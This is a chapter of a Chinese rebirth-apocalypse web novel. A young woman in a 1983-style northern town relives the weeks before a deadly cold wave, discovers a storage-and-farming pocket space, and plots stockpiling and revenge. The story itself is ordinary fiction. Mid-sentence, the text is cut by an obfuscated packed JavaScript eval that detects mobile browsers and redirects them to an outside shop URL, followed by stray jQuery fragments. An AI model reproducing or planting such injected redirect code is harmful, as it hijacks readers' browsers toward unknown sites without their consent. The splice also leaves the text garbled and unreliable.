星图偏移的第三年，蓝星历一九八三年的冬天，比记载里任何一个凛冬都要来得猝不及防。
这颗被命名为“北陆”的星球，复制了旧地球东亚大陆东北的地貌与人文——低矮的红砖瓦房挤在雪线边缘，自行车铃铛声混着煤烟味飘在巷口，供销社的玻璃柜里摆着水果糖和的确良布料，日子过得像台走慢半拍的老座钟。
直到第一股寒潮卷过兴安岭的林海，温度计的水银柱以肉眼可见的速度往下坠，最终死死钉在了-57℃的刻度上。
北陆83年11月15日，凌晨三点。
林雪梅是被冻醒的。
不，不是冻醒——是那种彻骨的寒冷，从骨髓深处钻出来，带着死亡的气息。她猛地睁开眼，胸口剧烈起伏，像一条被抛上岸的鱼。
眼前是一片黑暗，但又不是末世后那种吞噬一切的黑暗。她能听见均匀的呼吸声，从炕的另一头传来。是弟弟小山，他睡觉总爱打呼，声音不大，像小猫一样。
林雪梅僵直地躺着，不敢动。
她记得自己应该是死了。
死在那个零下五十度的废弃粮仓深坑里，身边是父母和小山已经冰冷的尸体。她最后一个画面，是表姐赵美娟那张笑得扭曲的脸，和周卫国转身离去的背影。
“你家的房子和粮票归我了。”
“傻表妹，你真以为卫国看得上你这土包子？”
那些话像冰锥，一遍遍刺穿她的心。
可是现在——
林雪梅颤抖着伸出手，在黑暗中摸索。她摸到了粗糙但干净的炕席，摸到了叠得整齐的棉被边缘，还有枕头下那本硬壳笔记本——那是她攒钱买的，用来抄歌词的。
不对。
这触感太真实了。
她猛地坐起身，动作太大，惊动了旁边的小山。
“姐？”少年睡意朦胧的声音传来，“你咋了？做噩梦了？”
林雪梅张了张嘴，没有回应。她的眼睛已经适应了黑暗，借着窗外雪地反射的微光，她看清了这间屋子——十平米左右，墙上糊着旧报纸，贴着几张年画。靠墙摆着一个老式衣柜，漆都掉了大半。窗台上放着一个搪瓷缸，上面印着红色的“先进生产者”字样。
这是她的家。
是她末世前，在黑土岭这个小城里的家。
“小山……”林雪梅的声音干涩得吓人，“现在……是哪年哪月？”
林小山翻了个身，迷迷糊糊地回答：“姐你睡糊涂了？今年不是陆历八三年么……十一月了，昨天刚下第一场雪……”
陆历八三年。
十一月。
林雪梅的手指掐进掌心，疼痛让她确认这不是梦。
她重生了。
重生到了末世开始前的四十二天。
“姐，你真没事？”小山清醒了些，撑起身子看她。
“没事。”林雪梅强迫自己平静下来，“就是……做了个很长的噩梦。睡吧，还早呢。”
小山哦了一声，很快又睡着了。
林雪梅却再也睡不着。她轻手轻脚爬下炕，走到窗边。窗玻璃上结了一层霜花，她抹开一小块，看向外面。
雪还在下，不大，绵绵密密的。院子里那棵老榆树的枝桠上已经积了一层白。隔壁张婶家的鸡窝隐约可见轮廓，再远处，是这片工人宿舍区一排排低矮的平房。
一切都那么宁静，那么……正常。
可林雪梅知道，这份宁静维持不了多久。
四十二天后，也就是元旦前后，第一场真正的灾难就会降临——极寒。气温会在七天内骤降到零下五十度，并持续整整三个月。电会断，水会冻，整个黑土岭会变成冰封地狱。而这才只是开始。
极寒之后是极雨，极雨之后是极热，最后……是比天灾更可怕的人祸。
林雪梅闭上眼，深吸了一口冷气。
她得冷静，得好好想想。
前世她死得不算早，经历了极寒和极热期。那些细节全部刻在她脑子里，足够她提前准备。
首先，她得确认一下……
林雪梅走到墙边，借着微光找到了挂历。是那种常见的风景挂历，每个月一张彩图，下面是日期格子。她翻到十一月那一页——15号，星期二。有人在上面用铅笔划了个小圈，旁边写着“发工资”。
确实是今天。
她又往前翻，十二月，一月……她的手停在一月五号那一格。
那天，寒流预警第一次正式发布。而真正的降温，是从一月八号开始的。
所以还有时间。
林雪梅松了口气，这才感觉到全身都在发抖。她扶着墙，慢慢走到外屋。外屋是厨房兼客厅，中间砌着一个灶台，连着里屋的火炕。灶台旁边是水缸，墙上挂着筷笼、菜板，还有一个印着“劳动最光荣”的搪瓷盆。
一切都熟悉得让她想哭。
她走到水缸边，拿起飘子舀了半瓢水，想洗把脸清醒一下。冰凉的井水扑在脸上，刺得她一激灵。
就在这时，奇怪的事情发生了。
她眼前的景象突然扭曲，下一秒，她发现自己站在一片……黑土地上。
林雪梅吓得差点扔掉水瓢。
这是什么地方？
她环顾四周——发现是一片约半亩大小的土地，土质黝黑，在微光下泛着光泽。土地中央有一口古井，井台是青石砌的，看起来有些年头了。井旁边，是一间低矮的土坯房，门虚掩着。
天空……没有天空。头顶是一片柔和的灰白色光晕，像阴天下午的光线，但不刺眼。
林雪梅愣了几秒，忽然意识到——这是她的意识进来了，身体还在外面。因为她能感觉到自己正站在家里的水缸边，手里还拿着水瓢。
一个念头闪过，她“退出”了这片空间。
果然，她又回到了厨房，手里水瓢的水洒了一地。
空间？
林雪梅的心脏狂跳起来。她听说过重生者常有特殊能力，难道这就是她的金手指？
她再次集中精神，想着进去。眼前一晃，她又站在了黑土地中央。
这次她镇定了一些，开始探索。她先走到井边，探头往下看——井水清澈，深不见底。她犹豫了一下，用手捧起一点，尝了尝。
甘甜冰凉，喝下去后，疲惫的身体似乎轻松了些。
“这水……”林雪梅若有所思。
她又走向土坯房。推开那扇简陋的木门，里面空荡荡的，大约二十平米，墙角堆着一些杂物。
等等，杂物？
林雪梅走近一看，愣住了。
那是她昨晚吃剩的半个窝头，还有白天在厂里捡到的一个纽扣。她明明记得窝头放在碗柜里，纽扣在针线盒里。
难道空间会自动收取她接触过的东西？
她试着集中精神，想着“把窝头拿出来”。下一秒，半个窝头出现在她手中。又想着“放回去”，窝头消失了。
能存储物品，而且时间静止——窝头还是温的。
林雪梅的心跳更快了。这意味着什么？她可以囤积物资，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048552|194761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不用担心腐败！
她走出土坯房，蹲下身抓起一把黑土。土质松软肥沃，捏在手里有黏性，是上好的黑土地。她想起前世听老人说过，黑土岭黑土地插根筷子都能活。
如果能种东西……
林雪梅立刻退出空间，在厨房里翻找。母亲在窗台上晒了一些白菜籽，准备明年开春种。她抓了一小把，重新进入空间。
随便找了块地方，把种子撒下去，又从井里打水浇了浇。
然后她退出空间，回到里屋，躺回炕上。
需要验证时间流速。
她盯着墙上的挂钟——那种老式的圆形挂钟，钟摆有节奏地摇晃着。秒针走了一圈，两圈……大约十分钟后，她再次进入空间。
眼前的一幕让她惊呆了。
白菜籽已经发芽了！嫩绿的芽尖破土而出，虽然还很小，但这生长速度……至少是外界的五倍！
林雪梅捂住嘴，怕自己叫出声来。
有了这个空间，她活下去的筹码大大增加了。
但光有空间不够，她还需要物资，需要让家人相信即将到来的灾难，需要……处理掉那两个祸害。
周卫国。赵美娟。
想到这两个名字，林雪梅的眼神冷了下来。
前世她太傻，被周卫国那张斯文的脸和厂长儿子的身份迷惑，以为找到了一辈子的依靠。而赵美娟，她的表姐，从小一起长大，她什么好东西都分她一半，结果呢？
他们在末世第一个月就勾搭在一起，为了霸占她家那点存粮和相对完好的房子，设计害死了她全家。
这一世……
“梅子？你咋起这么早？”
母亲王秀芬的声音从门口传来。林雪梅连忙退出空间，看见母亲披着棉袄站在里屋门口，睡眼惺忪地看着她。
“妈。”林雪梅的声音有些哽咽。
王秀芬走过来，摸了摸她的额头：“不烧啊……是不是做噩梦了？妈听见你在厨房折腾。”
“嗯，做了个不好的梦。”林雪梅顺势说，“梦见今年冬天特别冷，咱家没准备好，冻坏了。”
王秀芬笑了：“傻孩子，梦都是反的。再说了，咱黑土岭人还怕冷？火炕烧热点，棉袄穿厚点，啥冬天过不去。”
林雪梅没说话，只是抱了下母亲。
王秀芬身上有股淡淡的皂角味，混着烟火气，是记忆中的味道。前世母亲为了保护她，在粮仓坑底把自己最后的棉衣裹在她身上，自己活活冻死。
“妈，今年……咱们多备点东西吧。”林雪梅轻声说，“我听说西伯利亚寒流特别强。”
“行，听你的。”王秀芬拍拍她的背，“快再睡会儿，天亮了还得上班呢。”
“嗯——”
林雪梅回到炕上，却再也睡不着。她睁着眼睛，听着窗外渐渐大起来的风声，大脑飞速运转。
囤货计划要马上开始。但怎么囤？80年代是票证时代，买什么都要票——粮票、布票、油票、煤票……光有钱没用。而且大量购买会引起怀疑，尤其是在这个小城，谁家买多了点东西，半天就能传遍整个家属院。
还有周卫国和赵美娟。她现在不能马上翻脸，因为他们还有用——周卫国是厂长儿子，能接触到一些普通人接触不到的物资渠道。
赵美娟在仓库工作，偶尔能弄到一些“瑕疵品”。她要利用这一点，先榨干他们的价值，再……
林雪梅的眼神在黑暗中闪烁，心里已经有了主意。
窗外的雪，这会下得更大了。